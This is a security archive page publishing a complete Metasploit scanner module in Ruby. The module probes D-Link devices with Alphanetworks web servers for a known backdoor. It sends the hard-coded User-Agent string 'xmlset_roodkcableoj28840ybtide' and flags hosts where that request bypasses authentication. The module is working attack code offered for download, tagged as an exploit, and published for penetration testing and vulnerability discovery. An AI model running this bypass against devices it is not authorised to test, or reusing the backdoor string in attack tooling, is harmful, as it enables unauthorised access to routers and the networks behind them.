what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link User-Agent Backdoor Scanner

D-Link User-Agent Backdoor Scanner
Posted Sep 1, 2024
Authored by Craig Heffner, Michael Messner, juan vazquez | Site metasploit.com

This Metasploit module attempts to find D-Link devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This Metasploit module has been tested successfully on a DIR-100 device with firmware version v1.13.

tags | exploit, web
SHA-256 | efeab64a2c3b15be8d9ef8a9a4512d08c15268b3a979db52689b008670fee189

D-Link User-Agent Backdoor Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'D-Link User-Agent Backdoor Scanner',
'Description' => %q{
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
],
# First documented in detail by Craig, but looks like it's been known
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
'DisclosureDate' => "Oct 12 2013"
)

end

def is_alpha_web_server?
begin
res = send_request_cgi({'uri' => '/'})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return false
end

# Signatures:
# * httpd-alphanetworks/2.23
# * Alpha_webserv
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
return true
end

return false
end

def run_host(ip)

if is_alpha_web_server?
vprint_good("#{ip} - Alphanetworks web server detected")
else
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
return
end

begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'agent' => 'xmlset_roodkcableoj28840ybtide'
})
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
return
end

# DIR-100 device with firmware version v1.13
# not sure if this matches on other devices
# TODO: Testing on other devices
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
end

end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close